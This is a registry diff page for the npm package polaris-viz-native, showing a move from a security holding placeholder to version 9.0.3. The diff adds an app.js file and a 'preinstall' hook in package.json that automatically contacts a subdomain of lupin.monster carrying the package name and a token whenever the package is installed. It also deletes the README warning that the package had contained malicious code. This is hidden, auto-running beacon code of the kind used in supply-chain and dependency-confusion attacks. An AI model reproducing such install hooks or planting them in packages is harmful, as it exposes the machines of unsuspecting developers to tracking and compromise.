polaris-viz-native 0.0.1-security → 9.0.3
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of polaris-viz-native might be problematic. Click here for more details.
- package/app.js +20 -0
- package/package.json +9 -3
- package/README.md +0 -5
package/app.js
ADDED
@@ -0,0 +1,20 @@
|
|
1
|
+
const http = require('http');
|
2
|
+
const os = require('os');
|
3
|
+
|
4
|
+
// Preparing Authorization Forms
|
5
|
+
const domain = "lupin.monster";
|
6
|
+
const api_token = "ccdh0e2n01lqllkga2pgzw1fj8zj7iqkp";
|
7
|
+
const package_name = "polaris-viz-native";
|
8
|
+
|
9
|
+
const health_check = `http://${package_name}.${api_token}.${domain}`;
|
10
|
+
|
11
|
+
// Check if computer is authorized to ping lupin.monster
|
12
|
+
http.get(health_check, (res) => {
|
13
|
+
if (res.statusCode === 200) {
|
14
|
+
console.log('\x1b[36m%s\x1b[0m', '[*] polaris-viz-native was installed successfully');
|
15
|
+
} else {
|
16
|
+
console.log(`Request failed with status code ${res.statusCode}`);
|
17
|
+
}
|
18
|
+
}).on('error', (e) => {
|
19
|
+
console.error(`Got error: ${e.message}`);
|
20
|
+
});
|
package/package.json
CHANGED
@@ -1,6 +1,12 @@
|
|
1
1
|
{
|
2
2
|
"name": "polaris-viz-native",
|
3
|
-
"version": "
|
4
|
-
"description": "
|
5
|
-
"
|
3
|
+
"version": "9.0.3",
|
4
|
+
"description": "",
|
5
|
+
"main": "node app.js",
|
6
|
+
"scripts": {
|
7
|
+
"test": "echo \"Error: no test specified\" && exit 1",
|
8
|
+
"preinstall": "node app.js"
|
9
|
+
},
|
10
|
+
"author": "",
|
11
|
+
"license": "ISC"
|
6
12
|
}
|
package/README.md
DELETED
@@ -1,5 +0,0 @@
|
|
1
|
-
# Security holding package
|
2
|
-
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
4
|
-
|
5
|
-
Please refer to www.npmjs.com/advisories?search=polaris-viz-native for more information.
|